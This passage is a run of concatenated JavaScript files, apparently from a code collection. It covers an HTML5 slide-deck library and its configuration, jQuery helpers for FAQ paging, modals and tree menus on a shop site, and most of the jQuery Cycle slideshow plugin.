if (dataConfigContact) {
dataConfigContact.innerHTML = html2;
}
} else {
for (var i = 0, p; p = presenters[i]; ++i) {
html.push(p.name + ' - ' + p.company);
}
html = html.join('<br>');
if (dataConfigContact) {
dataConfigContact.innerHTML = html;
}
}
var dataConfigPresenter = document.querySelector('[data-config-presenter]');
if (dataConfigPresenter) {
dataConfigPresenter.innerHTML = html;
if (settings.eventTitle) {
dataConfigPresenter.innerHTML = dataConfigPresenter.innerHTML + '<br>' +
settings.eventTitle;
}
}
}
/* Left/Right tap areas. Default to including. */
if (!!!('enableSlideAreas' in settings) || settings.enableSlideAreas) {
var el = document.createElement('div');
el.classList.add('slide-area');
el.id = 'prev-slide-area';
el.addEventListener('click', this.prevSlide.bind(this), false);
this.container.appendChild(el);
var el = document.createElement('div');
el.classList.add('slide-area');
el.id = 'next-slide-area';
el.addEventListener('click', this.nextSlide.bind(this), false);
this.container.appendChild(el);
}
if (Modernizr.touch && (!!!('enableTouch' in settings) ||
settings.enableTouch)) {
var self = this;
// Note: this prevents mobile zoom in/out but prevents iOS from doing
// it's crazy scroll over effect and disaligning the slides.
window.addEventListener('touchstart', function(e) {
e.preventDefault();
}, false);
var hammer = new Hammer(this.container);
hammer.ondragend = function(e) {
if (e.direction == 'right' || e.direction == 'down') {
self.prevSlide();
} else if (e.direction == 'left' || e.direction == 'up') {
self.nextSlide();
}
};
}
};
/**
* @private
* @param {Array.<string>} fonts
*/
SlideDeck.prototype.addFonts_ = function(fonts) {
var el = document.createElement('link');
el.rel = 'stylesheet';
el.href = ('https:' == document.location.protocol ? 'https' : 'http') +
'://fonts.googleapis.com/css?family=' + fonts.join('|') + '&v2';
document.querySelector('head').appendChild(el);
};
/**
* @private
*/
SlideDeck.prototype.buildNextItem_ = function() {
var slide = this.slides[this.curSlide_];
var toBuild = slide.querySelector('.to-build');
var built = slide.querySelector('.build-current');
if (built) {
built.classList.remove('build-current');
if (built.classList.contains('fade')) {
built.classList.add('build-fade');
}
}
if (!toBuild) {
var items = slide.querySelectorAll('.build-fade');
for (var j = 0, item; item = items[j]; j++) {
item.classList.remove('build-fade');
}
return false;
}
toBuild.classList.remove('to-build');
toBuild.classList.add('build-current');
return true;
};
/**
* @param {boolean=} opt_dontPush
*/
SlideDeck.prototype.prevSlide = function(opt_dontPush) {
if (this.curSlide_ > 0) {
var bodyClassList = document.body.classList;
bodyClassList.remove('highlight-code');
// Toggle off speaker notes if they're showing when we move backwards on the
// main slides. If we're the speaker notes popup, leave them up.
if (this.controller && !this.controller.isPopup) {
bodyClassList.remove('with-notes');
} else if (!this.controller) {
bodyClassList.remove('with-notes');
}
this.prevSlide_ = this.curSlide_--;
this.updateSlides_(opt_dontPush);
}
};
/**
* @param {boolean=} opt_dontPush
*/
SlideDeck.prototype.nextSlide = function(opt_dontPush) {
if (!document.body.classList.contains('overview') && this.buildNextItem_()) {
return;
}
if (this.curSlide_ < this.slides.length - 1) {
var bodyClassList = document.body.classList;
bodyClassList.remove('highlight-code');
// Toggle off speaker notes if they're showing when we advanced on the main
// slides. If we're the speaker notes popup, leave them up.
if (this.controller && !this.controller.isPopup) {
bodyClassList.remove('with-notes');
} else if (!this.controller) {
bodyClassList.remove('with-notes');
}
this.prevSlide_ = this.curSlide_++;
this.updateSlides_(opt_dontPush);
}
};
/* Slide events */
/**
* Triggered when a slide enter/leave event should be dispatched.
*
* @param {string} type The type of event to trigger
* (e.g. 'slideenter', 'slideleave').
* @param {number} slideNo The index of the slide that is being left.
*/
SlideDeck.prototype.triggerSlideEvent = function(type, slideNo) {
var el = this.getSlideEl_(slideNo);
if (!el) {
return;
}
// Call onslideenter/onslideleave if the attribute is defined on this slide.
var func = el.getAttribute(type);
if (func) {
new Function(func).call(el); // TODO: Don't use new Function() :(
}
// Dispatch event to listeners setup using addEventListener.
var evt = document.createEvent('Event');
evt.initEvent(type, true, true);
evt.slideNumber = slideNo + 1; // Make it readable
evt.slide = el;
el.dispatchEvent(evt);
};
/**
* @private
*/
SlideDeck.prototype.updateSlides_ = function(opt_dontPush) {
var dontPush = opt_dontPush || false;
var curSlide = this.curSlide_;
for (var i = 0; i < this.slides.length; ++i) {
switch (i) {
case curSlide - 2:
this.updateSlideClass_(i, 'far-past');
break;
case curSlide - 1:
this.updateSlideClass_(i, 'past');
break;
case curSlide:
this.updateSlideClass_(i, 'current');
break;
case curSlide + 1:
this.updateSlideClass_(i, 'next');
break;
case curSlide + 2:
this.updateSlideClass_(i, 'far-next');
break;
default:
this.updateSlideClass_(i);
break;
}
};
this.triggerSlideEvent('slideleave', this.prevSlide_);
this.triggerSlideEvent('slideenter', curSlide);
// window.setTimeout(this.disableSlideFrames_.bind(this, curSlide - 2), 301);
//
// this.enableSlideFrames_(curSlide - 1); // Previous slide.
// this.enableSlideFrames_(curSlide + 1); // Current slide.
// this.enableSlideFrames_(curSlide + 2); // Next slide.
// Enable current slide's iframes (needed for page loat at current slide).
this.enableSlideFrames_(curSlide + 1);
// No way to tell when all slide transitions + auto builds are done.
// Give ourselves a good buffer to preload the next slide's iframes.
window.setTimeout(this.enableSlideFrames_.bind(this, curSlide + 2), 1000);
this.updateHash_(dontPush);
if (document.body.classList.contains('overview')) {
this.focusOverview_();
return;
}
};
/**
* @private
* @param {number} slideNo
*/
SlideDeck.prototype.enableSlideFrames_ = function(slideNo) {
var el = this.slides[slideNo - 1];
if (!el) {
return;
}
var frames = el.querySelectorAll('iframe');
for (var i = 0, frame; frame = frames[i]; i++) {
this.enableFrame_(frame);
}
};
/**
* @private
* @param {number} slideNo
*/
SlideDeck.prototype.enableFrame_ = function(frame) {
var src = frame.dataset.src;
if (src && frame.src != src) {
frame.src = src;
}
};
/**
* @private
* @param {number} slideNo
*/
SlideDeck.prototype.disableSlideFrames_ = function(slideNo) {
var el = this.slides[slideNo - 1];
if (!el) {
return;
}
var frames = el.querySelectorAll('iframe');
for (var i = 0, frame; frame = frames[i]; i++) {
this.disableFrame_(frame);
}
};
/**
* @private
* @param {Node} frame
*/
SlideDeck.prototype.disableFrame_ = function(frame) {
frame.src = 'about:blank';
};
/**
* @private
* @param {number} slideNo
*/
SlideDeck.prototype.getSlideEl_ = function(no) {
if ((no < 0) || (no >= this.slides.length)) {
return null;
} else {
return this.slides[no];
}
};
/**
* @private
* @param {number} slideNo
* @param {string} className
*/
SlideDeck.prototype.updateSlideClass_ = function(slideNo, className) {
var el = this.getSlideEl_(slideNo);
if (!el) {
return;
}
if (className) {
el.classList.add(className);
}
for (var i = 0, slideClass; slideClass = this.SLIDE_CLASSES_[i]; ++i) {
if (className != slideClass) {
el.classList.remove(slideClass);
}
}
};
/**
* @private
*/
SlideDeck.prototype.makeBuildLists_ = function () {
for (var i = this.curSlide_, slide; slide = this.slides[i]; ++i) {
var items = slide.querySelectorAll('.build > *');
for (var j = 0, item; item = items[j]; ++j) {
if (item.classList) {
item.classList.add('to-build');
if (item.parentNode.classList.contains('fade')) {
item.classList.add('fade');
}
}
}
}
};
/**
* @private
* @param {boolean} dontPush
*/
SlideDeck.prototype.updateHash_ = function(dontPush) {
if (!dontPush) {
var slideNo = this.curSlide_ + 1;
var hash = '#' + slideNo;
if (window.history.pushState) {
window.history.pushState(this.curSlide_, 'Slide ' + slideNo, hash);
} else {
window.location.replace(hash);
}
// Record GA hit on this slide.
window['_gaq'] && window['_gaq'].push(['_trackPageview',
document.location.href]);
}
};
/**
* @private
* @param {string} favIcon
*/
SlideDeck.prototype.addFavIcon_ = function(favIcon) {
var el = document.createElement('link');
el.rel = 'icon';
el.type = 'image/png';
el.href = favIcon;
document.querySelector('head').appendChild(el);
};
/**
* @private
* @param {string} theme
*/
SlideDeck.prototype.loadTheme_ = function(theme) {
var styles = [];
if (theme.constructor.name === 'String') {
styles.push(theme);
} else {
styles = theme;
}
for (var i = 0, style; themeUrl = styles[i]; i++) {
var style = document.createElement('link');
style.rel = 'stylesheet';
style.type = 'text/css';
if (themeUrl.indexOf('http') == -1) {
style.href = this.CSS_DIR_ + themeUrl + '.css';
} else {
style.href = themeUrl;
}
document.querySelector('head').appendChild(style);
}
};
/**
* @private
*/
SlideDeck.prototype.loadAnalytics_ = function() {
var _gaq = window['_gaq'] || [];
_gaq.push(['_setAccount', this.config_.settings.analytics]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
};
// Polyfill missing APIs (if we need to), then create the slide deck.
// iOS < 5 needs classList, dataset, and window.matchMedia. Modernizr contains
// the last one.
(function() {
Modernizr.load({
test: !!document.body.classList && !!document.body.dataset,
nope: ['js/polyfills/classList.min.js', 'js/polyfills/dataset.min.js'],
complete: function() {
window.slidedeck = new SlideDeck();
}
});
})();
|
JavaScript
|
require(['order!../slide_config', 'order!modernizr.custom.45394',
'order!prettify/prettify', 'order!hammer', 'order!slide-controller',
'order!slide-deck'], function(someModule) {
});
|
JavaScript
|
var SLIDE_CONFIG = {
// Slide settings
settings: {
title: 'Title Goes Here<br>Up To Two Lines',
subtitle: 'Subtitle Goes Here',
//eventTitle: 'Google I/O 2013',
useBuilds: true, // Default: true. False will turn off slide animation builds.
usePrettify: true, // Default: true
enableSlideAreas: true, // Default: true. False turns off the click areas on either slide of the slides.
enableTouch: true, // Default: true. If touch support should enabled. Note: the device must support touch.
//analytics: 'UA-XXXXXXXX-1', // TODO: Using this breaks GA for some reason (probably requirejs). Update your tracking code in template.html instead.
favIcon: 'images/google_developers_logo_tiny.png',
fonts: [
'Open Sans:regular,semibold,italic,italicsemibold',
'Source Code Pro'
],
//theme: ['mytheme'], // Add your own custom themes or styles in /theme/css. Leave off the .css extension.
},
// Author information
presenters: [{
name: 'Firstname Lastname',
company: 'Job Title, Google',
gplus: 'http://plus.google.com/1234567890',
twitter: '@yourhandle',
www: 'http://www.you.com',
github: 'http://github.com/you'
}/*, {
name: 'Second Name',
company: 'Job Title, Google',
gplus: 'http://plus.google.com/1234567890',
twitter: '@yourhandle',
www: 'http://www.you.com',
github: 'http://github.com/you'
}*/]
};
|
JavaScript
|
$(window).scroll(function () {
if ($(this).scrollTop() > 102) {
$('#navigation').addClass('pin').fadeIn();
} else {
$('#navigation').removeClass('pin');
}
});
function pageFAQ(page,itemeachpage){
request = "ajax.php?cmd=faq&p="+page+"&itemeachpage="+itemeachpage;
$.get(request,function(result){
$("#wrapfaqs").html(result);
$("#fancybox_wrapfaqs").html(result);
});
}
function reloadCapcha(_id){
_link_captcha = base_url + "captcha.php?width=50&height=23&characters=3r=" + Math.random();
$("."+_id).attr('src',_link_captcha);
}
function getFaqs(page, num, txt){
request = base_url + "ajax.php?cmd=get_faqs&page="+page+"&num="+num;
$.post(request,function(result){
$("#wrapfaqs").html(result);
$("#fancybox_wrapfaqs").html(result);
});
}
function replyComment(_id){
$(".replycontent").not('#replycontent_'+_id).hide();
$("#replycontent_"+_id).show();
_reply_content = $("#replycontent_"+_id).val();
if(_reply_content!=''){
request = base_url + "ajax.php?cmd=reply_faqs&id="+_id+"&content="+_reply_content;
_current_page = $("#wrapfaqs ul.pagination li.active a").html();
if(_current_page==null){
_current_page = 1;
}
$.post(request,function(result){
getFaqs(_current_page,5);
});
}
}
function deleteProduct(_id){
if(confirm('Bạn có chắc muốn xóa?')){
request = base_url + "ajax.php?cmd=delete_product&id="+_id;
$.post(request,function(result){
$("#p"+result).remove();
});
}
}
$(document).ready(function () {
//$("a.timelineAlbums").fancybox({
// type: 'ajax',
// preload: 0,
// prevEffect : 'none',
// nextEffect : 'none',
// closeBtn : false,
// helpers : {
// title : { type : 'inside' },
// buttons : {}
// },
// afterLoad : function(){
// $("#faqs_captcha").click();
// }
//});
//$("#product_images").fancybox();
})
|
JavaScript
|
$(function () {
// product error images
//$('.product-image').productImage();
// modal open
$(document.body).on('click', '.popup-link', function (e) {
e.preventDefault();
var $this = $(this);
var $target = $($this.data('popup-target') || '<div><iframe frameborder="0" style="border: none; width: 100%; height: 460px;" src="' + $(this).attr('href') + '"></iframe></div>');
$target.modalDialog({ width: $this.data('popup-width'), height: $this.data('popup-height') });
return false;
});
// modal close
$(document.body).on('click', '.ui-dialog-titlebar .close a', function (e) {
e.preventDefault();
$(this).closest('.ui-dialog').find('.ui-dialog-content').dialog('close');
return false;
});
// cs modal open
$(document.body).on('click', 'a[href*="customer-services"]', function (e) {
e.preventDefault();
var $this = $(this);
var $customerServices = $('<div><iframe frameborder="0" style="border: none; width: 100%; height: 590px;" src="' + $(this).attr('href') + '"></iframe></div>');
$customerServices.modalDialog({ width: 900, height: 'auto' });
return false;
});
// popup ajax forms posting
$('.product-action-form').on('submit', 'form', function (e) {
e.preventDefault();
var $this = $(this);
if ($this.valid()) {
$.post(
this.action,
$this.serialize(),
function (data) {
$this[0].reset();
var $content = $this.closest('.ui-dialog-content');
$content.children().hide();
var $confirmation = $(data).appendTo($content);
setTimeout(function () {
$content.dialog('close').children().show();
$confirmation.remove();
}, 4000);
});
}
return false;
});
// closable
$('a[data-close-selector]').click(function (e) {
e.preventDefault();
var $this = $(this);
var $remove = $this.closest($this.data('close-selector'));
$remove.slideUp(function () { $remove.remove(); });
return false;
});
});
|
JavaScript
|
$(function () {
// order by dropdown
var actionButton = $('.top-menu .drop-downs input[type=submit]').eq(0).hide();
$('.top-menu .drop-downs select').change(function () {
actionButton.click();
});
// tree
var $tree = $('.tree');
$tree.css('visibility', 'visible');
$tree.find('.v-panels').panels(true, '.scroll');
$('.tree ul.scroll')
.filter(function () {
var $this = $(this);
return ($this.innerHeight() == parseInt($this.css('max-height'))) && ($this[0].clientHeight < $this[0].scrollHeight);
})
.each(function (index, element) {
var $this = $(this);
var $cur = $this.find('> li.active').eq(0);
if ($cur.length) {
var pos = $cur.position();
$this.scrollTop(pos.top);
}
});
});
|
JavaScript
|
/*
Originally based on the work of:
1) Matt Oakes
2) Torsten Baldes (http://medienfreunde.com/lab/innerfade/)
3) Benjamin Sterling (http://www.benjaminsterling.com/experiments/jqShuffle/)
*/
;(function($) {
var ver = '2.65';
// if $.support is not defined (pre jQuery 1.3) add what I need
if ($.support == undefined) {
$.support = {
opacity: !($.browser.msie)
};
}
function log() {
if (window.console && window.console.log)
window.console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));
//$('body').append('<div>'+Array.prototype.join.call(arguments,' ')+'</div>');
};
// the options arg can be...
// a number - indicates an immediate transition should occur to the given slide index
// a string - 'stop', 'pause', 'resume', or the name of a transition effect (ie, 'fade', 'zoom', etc)
// an object - properties to control the slideshow
//
// the arg2 arg can be...
// the name of an fx (only used in conjunction with a numeric value for 'options')
// the value true (only used in conjunction with a options == 'resume') and indicates
// that the resume should occur immediately (not wait for next timeout)
$.fn.cycle = function(options, arg2) {
var o = { s: this.selector, c: this.context };
// in 1.3+ we can fix mistakes with the ready state
if (this.length == 0 && options != 'stop') {
if (!$.isReady && o.s) {
log('DOM not ready, queuing slideshow')
$(function() {
$(o.s,o.c).cycle(options,arg2);
});
return this;
}
// is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
return this;
}
// iterate the matched nodeset
return this.each(function() {
options = handleArguments(this, options, arg2);
if (options === false)
return;
// stop existing slideshow for this container (if there is one)
if (this.cycleTimeout)
clearTimeout(this.cycleTimeout);
this.cycleTimeout = this.cyclePause = 0;
var $cont = $(this);
var $slides = options.slideExpr ? $(options.slideExpr, this) : $cont.children();
var els = $slides.get();
if (els.length < 2) {
log('terminating; too few slides: ' + els.length);
return;
}
var opts = buildOptions($cont, $slides, els, options, o);
if (opts === false)
return;
// if it's an auto slideshow, kick it off
if (opts.timeout || opts.continuous)
this.cycleTimeout = setTimeout(function(){go(els,opts,0,!opts.rev)},
opts.continuous ? 10 : opts.timeout + (opts.delay||0));
});
};
// process the args that were passed to the plugin fn
function handleArguments(cont, options, arg2) {
if (cont.cycleStop == undefined)
cont.cycleStop = 0;
if (options === undefined || options === null)
options = {};
if (options.constructor == String) {
switch(options) {
case 'stop':
cont.cycleStop++; // callbacks look for change
if (cont.cycleTimeout)
clearTimeout(cont.cycleTimeout);
cont.cycleTimeout = 0;
$(cont).removeData('cycle.opts');
return false;
case 'pause':
cont.cyclePause = 1;
return false;
case 'resume':
cont.cyclePause = 0;
if (arg2 === true) { // resume now!
options = $(cont).data('cycle.opts');
if (!options) {
log('options not found, can not resume');
return false;
}
if (cont.cycleTimeout) {
clearTimeout(cont.cycleTimeout);
cont.cycleTimeout = 0;
}
go(options.elements, options, 1, 1);
}
return false;
default:
options = { fx: options };
};
}
else if (options.constructor == Number) {
// go to the requested slide
var num = options;
options = $(cont).data('cycle.opts');
if (!options) {
log('options not found, can not advance slide');
return false;
}
if (num < 0 || num >= options.elements.length) {
log('invalid slide index: ' + num);
return false;
}
options.nextSlide = num;
if (cont.cycleTimeout) {
clearTimeout(cont.cycleTimeout);
cont.cycleTimeout = 0;
}
if (typeof arg2 == 'string')
options.oneTimeFx = arg2;
go(options.elements, options, 1, num >= options.currSlide);
return false;
}
return options;
};
function removeFilter(el, opts) {
if (!$.support.opacity && opts.cleartype && el.style.filter) {
try { el.style.removeAttribute('filter'); }
catch(smother) {} // handle old opera versions
}
};
// one-time initialization
function buildOptions($cont, $slides, els, options, o) {
// support metadata plugin (v1.0 and v2.0)
var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
if (opts.autostop)
opts.countdown = opts.autostopCount || els.length;
var cont = $cont[0];
$cont.data('cycle.opts', opts);
opts.$cont = $cont;
opts.stopCount = cont.cycleStop;
opts.elements = els;
opts.before = opts.before ? [opts.before] : [];
opts.after = opts.after ? [opts.after] : [];
opts.after.unshift(function(){ opts.busy=0; });
// push some after callbacks
if (!$.support.opacity && opts.cleartype)
opts.after.push(function() { removeFilter(this, opts); });
if (opts.continuous)
opts.after.push(function() { go(els,opts,0,!opts.rev); });
saveOriginalOpts(opts);
// clearType corrections
if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
clearTypeFix($slides);
// container requires non-static position so that slides can be position within
if ($cont.css('position') == 'static')
$cont.css('position', 'relative');
if (opts.width)
$cont.width(opts.width);
if (opts.height && opts.height != 'auto')
$cont.height(opts.height);
if (opts.startingSlide)
opts.startingSlide = parseInt(opts.startingSlide);
// if random, mix up the slide array
if (opts.random) {
opts.randomMap = [];
for (var i = 0; i < els.length; i++)
opts.randomMap.push(i);
opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
opts.randomIndex = 0;
opts.startingSlide = opts.randomMap[0];
}
else if (opts.startingSlide >= els.length)
opts.startingSlide = 0; // catch bogus input
opts.currSlide = opts.startingSlide = opts.startingSlide || 0;
var first = opts.startingSlide;
// set position and zIndex on all the slides
$slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) {
var z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
$(this).css('z-index', z)
});
// make sure first slide is visible
$(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case
removeFilter(els[first], opts);
// stretch slides
if (opts.fit && opts.width)
$slides.width(opts.width);
if (opts.fit && opts.height && opts.height != 'auto')
$slides.height(opts.height);
// stretch container
var reshape = opts.containerResize && !$cont.innerHeight();
if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9
var maxw = 0, maxh = 0;
for(var i=0; i < els.length; i++) {
var $e = $(els[i]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight();
if (!w) w = e.offsetWidth;
if (!h) h = e.offsetHeight;
maxw = w > maxw ? w : maxw;
maxh = h > maxh ? h : maxh;
}
if (maxw > 0 && maxh > 0)
$cont.css({width:maxw+'px',height:maxh+'px'});
}
if (opts.pause)
$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});
if (supportMultiTransitions(opts) === false)
return false;
// run transition init fn
if (!opts.multiFx) {
var init = $.fn.cycle.transitions[opts.fx];
if ($.isFunction(init))
init($cont, $slides, opts);
else if (opts.fx != 'custom' && !opts.multiFx) {
log('unknown transition: ' + opts.fx,'; slideshow terminating');
return false;
}
}
// apparently a lot of people use image slideshows without height/width attributes on the images.
// Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that.
var requeue = false;
options.requeueAttempts = options.requeueAttempts || 0;
$slides.each(function() {
// try to get height/width of each slide
var $el = $(this);
this.cycleH = (opts.fit && opts.height) ? opts.height : $el.height();
this.cycleW = (opts.fit && opts.width) ? opts.width : $el.width();
if ( $el.is('img') ) {
// sigh.. sniffing, hacking, shrugging...
var loadingIE = ($.browser.msie && this.cycleW == 28 && this.cycleH == 30 && !this.complete);
var loadingOp = ($.browser.opera && this.cycleW == 42 && this.cycleH == 19 && !this.complete);
var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete);
// don't requeue for images that are still loading but have a valid size
if (loadingIE || loadingOp || loadingOther) {
if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever
log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout);
requeue = true;
return false; // break each loop
}
else {
log('could not determine size of image: '+this.src, this.cycleW, this.cycleH);
}
}
}
return true;
});
if (requeue)
return false;
opts.cssBefore = opts.cssBefore || {};
opts.animIn = opts.animIn || {};
opts.animOut = opts.animOut || {};
$slides.not(':eq('+first+')').css(opts.cssBefore);
if (opts.cssFirst)
$($slides[first]).css(opts.cssFirst);
if (opts.timeout) {
opts.timeout = parseInt(opts.timeout);
// ensure that timeout and speed settings are sane
if (opts.speed.constructor == String)
opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed);
if (!opts.sync)
opts.speed = opts.speed / 2;
while((opts.timeout - opts.speed) < 250) // sanitize timeout
opts.timeout += opts.speed;
}
if (opts.easing)
opts.easeIn = opts.easeOut = opts.easing;
if (!opts.speedIn)
opts.speedIn = opts.speed;
if (!opts.speedOut)
opts.speedOut = opts.speed;
opts.slideCount = els.length;
opts.currSlide = opts.lastSlide = first;
if (opts.random) {
opts.nextSlide = opts.currSlide;
if (++opts.randomIndex == els.length)
opts.randomIndex = 0;
opts.nextSlide = opts.randomMap[opts.randomIndex];
}
else
opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;
// fire artificial events
var e0 = $slides[first];
if (opts.before.length)
opts.before[0].apply(e0, [e0, e0, opts, true]);
if (opts.after.length > 1)
opts.after[1].apply(e0, [e0, e0, opts, true]);
if (opts.next)
$(opts.next).click(function(){return advance(opts,opts.rev?-1:1)});
if (opts.prev)
$(opts.prev).click(function(){return advance(opts,opts.rev?1:-1)});
if (opts.pager)
buildPager(els,opts);
exposeAddSlide(opts, els);
return opts;
};
// save off original opts so we can restore after clearing state
function saveOriginalOpts(opts) {
opts.original = { before: [], after: [] };
opts.original.cssBefore = $.extend({}, opts.cssBefore);
opts.original.cssAfter = $.extend({}, opts.cssAfter);
opts.original.animIn = $.extend({}, opts.animIn);
opts.original.animOut = $.extend({}, opts.animOut);
$.each(opts.before, function() { opts.original.before.push(this); });
$.each(opts.after, function() { opts.original.after.push(this); });
};
function supportMultiTransitions(opts) {
var txs = $.fn.cycle.transitions;
// look for multiple effects
if (opts.fx.indexOf(',') > 0) {
opts.multiFx = true;
opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
// discard any bogus effect names
for (var i=0; i < opts.fxs.length; i++) {
var fx = opts.fxs[i];
var tx = txs[fx];
if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
log('discarding unknown transition: ',fx);
opts.fxs.splice(i,1);
i--;
}
}
// if we have an empty list then we threw everything away!
if (!opts.fxs.length) {
log('No valid transitions named; slideshow terminating.');
return false;
}
}
else if (opts.fx == 'all') { // auto-gen the list of transitions
opts.multiFx = true;
opts.fxs = [];
for (p in txs) {
var tx = txs[p];
if (txs.hasOwnProperty(p) && $.isFunction(tx))
opts.fxs.push(p);
}
}
if (opts.multiFx && opts.randomizeEffects) {
// munge the fxs array to make effect selection random
var r1 = Math.floor(Math.random() * 20) + 30;
for (var i = 0; i < r1; i++) {
var r2 = Math.floor(Math.random() * opts.fxs.length);
opts.fxs.push(opts.fxs.splice(r2,1)[0]);
}
log('randomized fx sequence: ',opts.fxs);
}
return true;
};
// provide a mechanism for adding slides after the slideshow has started
function exposeAddSlide(opts, els) {
opts.addSlide = function(newSlide, prepend) {
var $s = $(newSlide), s = $s[0];
if (!opts.autostopCount)
opts.countdown++;
els[prepend?'unshift':'push'](s);
if (opts.els)
opts.els[prepend?'unshift':'push'](s); // shuffle needs this
opts.slideCount = els.length;
$s.css('position','absolute');
$s[prepend?'prependTo':'appendTo'](opts.$cont);
if (prepend) {
opts.currSlide++;
opts.nextSlide++;
}
if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
clearTypeFix($s);
if (opts.fit && opts.width)
$s.width(opts.width);
if (opts.fit && opts.height && opts.height != 'auto')
$slides.height(opts.height);
s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height();
s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width();
$s.css(opts.cssBefore);
if (opts.pager)
$.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts);
if ($.isFunction(opts.onAddSlide))
opts.onAddSlide($s);
else
$s.hide(); // default behavior
};
}
// reset internal state; we do this on every pass in order to support multiple effects
$.fn.cycle.resetState = function(opts, fx) {
fx = fx || opts.fx;
opts.before = []; opts.after = [];
opts.cssBefore = $.extend({}, opts.original.cssBefore);
opts.cssAfter = $.extend({}, opts.original.cssAfter);
opts.animIn = $.extend({}, opts.original.animIn);
opts.animOut = $.extend({}, opts.original.animOut);
opts.fxFn = null;
$.each(opts.original.before, function() { opts.before.push(this); });
$.each(opts.original.after, function() { opts.after.push(this); });
// re-init
var init = $.fn.cycle.transitions[fx];
if ($.isFunction(init))
init(opts.$cont, $(opts.elements), opts);
};
// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt
function go(els, opts, manual, fwd) {
// opts.busy is true if we're in the middle of an animation
if (manual && opts.busy && opts.manualTrump) {
// let manual transitions requests trump active ones
$(els).stop(true,true);
opts.busy = false;
}
// don't begin another timeout-based transition if there is one active
if (opts.busy)
return;
var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide];
// stop cycling if we have an outstanding stop request
if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual)
return;
// check to see if we should stop cycling based on autostop options
if (!manual && !p.cyclePause &&
((opts.autostop && (--opts.countdown <= 0)) ||
(opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) {
if (opts.end)
opts.end(opts);
return;
}
// if slideshow is paused, only transition on a manual trigger
if (manual || !p.cyclePause) {
var fx = opts.fx;
// keep trying to get the slide size if we don't have it yet
curr.cycleH = curr.cycleH || $(curr).height();
curr.cycleW = curr.cycleW || $(curr).width();
next.cycleH = next.cycleH || $(next).height();
next.cycleW = next.cycleW || $(next).width();
// support multiple transition types
if (opts.multiFx) {
if (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length)
opts.lastFx = 0;
fx = opts.fxs[opts.lastFx];
opts.currFx = fx;
}
// one-time fx overrides apply to: $('div').cycle(3,'zoom');
if (opts.oneTimeFx) {
fx = opts.oneTimeFx;
opts.oneTimeFx = null;
}
$.fn.cycle.resetState(opts, fx);
// run the before callbacks
if (opts.before.length)
$.each(opts.before, function(i,o) {
if (p.cycleStop != opts.stopCount) return;
o.apply(next, [curr, next, opts, fwd]);
});
// stage the after callacks
var after = function() {
$.each(opts.after, function(i,o) {
if (p.cycleStop != opts.stopCount) return;
o.apply(next, [curr, next, opts, fwd]);
});
};
if (opts.nextSlide != opts.currSlide) {
// get ready to perform the transition
opts.busy = 1;
if (opts.fxFn) // fx function provided?
opts.fxFn(curr, next, opts, after, fwd);
else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ?
$.fn.cycle[opts.fx](curr, next, opts, after);
else
$.fn.cycle.custom(curr, next, opts, after, manual && opts.fastOnEvent);
}
// calculate the next slide
opts.lastSlide = opts.currSlide;
if (opts.random) {
opts.currSlide = opts.nextSlide;
if (++opts.randomIndex == els.length)
opts.randomIndex = 0;
opts.nextSlide = opts.randomMap[opts.randomIndex];
}
else { // sequence
var roll = (opts.nextSlide + 1) == els.length;
opts.nextSlide = roll ? 0 : opts.nextSlide+1;
opts.currSlide = roll ? els.length-1 : opts.nextSlide-1;
}
if (opts.pager)
$.fn.cycle.updateActivePagerLink(opts.pager, opts.currSlide);
}
// stage the next transtion
var ms = 0;
if (opts.timeout && !opts.continuous)
ms = getTimeout(curr, next, opts, fwd);
else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic
ms = 10;
if (ms > 0)
p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.rev) }, ms);
};
// invoked after transition
$.fn.cycle.updateActivePagerLink = function(pager, currSlide) {
$(pager).find('a').removeClass('current').filter('a:eq('+currSlide+')').addClass('current');
};
// calculate timeout value for current transition
function getTimeout(curr, next, opts, fwd) {
if (opts.timeoutFn) {
// call user provided calc fn
var t = opts.timeoutFn(curr,next,opts,fwd);
if (t !== false)
return t;
}
return opts.timeout;
};
// expose next/prev function, caller must pass in state
$.fn.cycle.next = function(opts) { advance(opts, opts.rev?-1:1); };
$.fn.cycle.prev = function(opts) { advance(opts, opts.rev?1:-1);};
// advance slide forward or back
function advance(opts, val) {
var els = opts.elements;
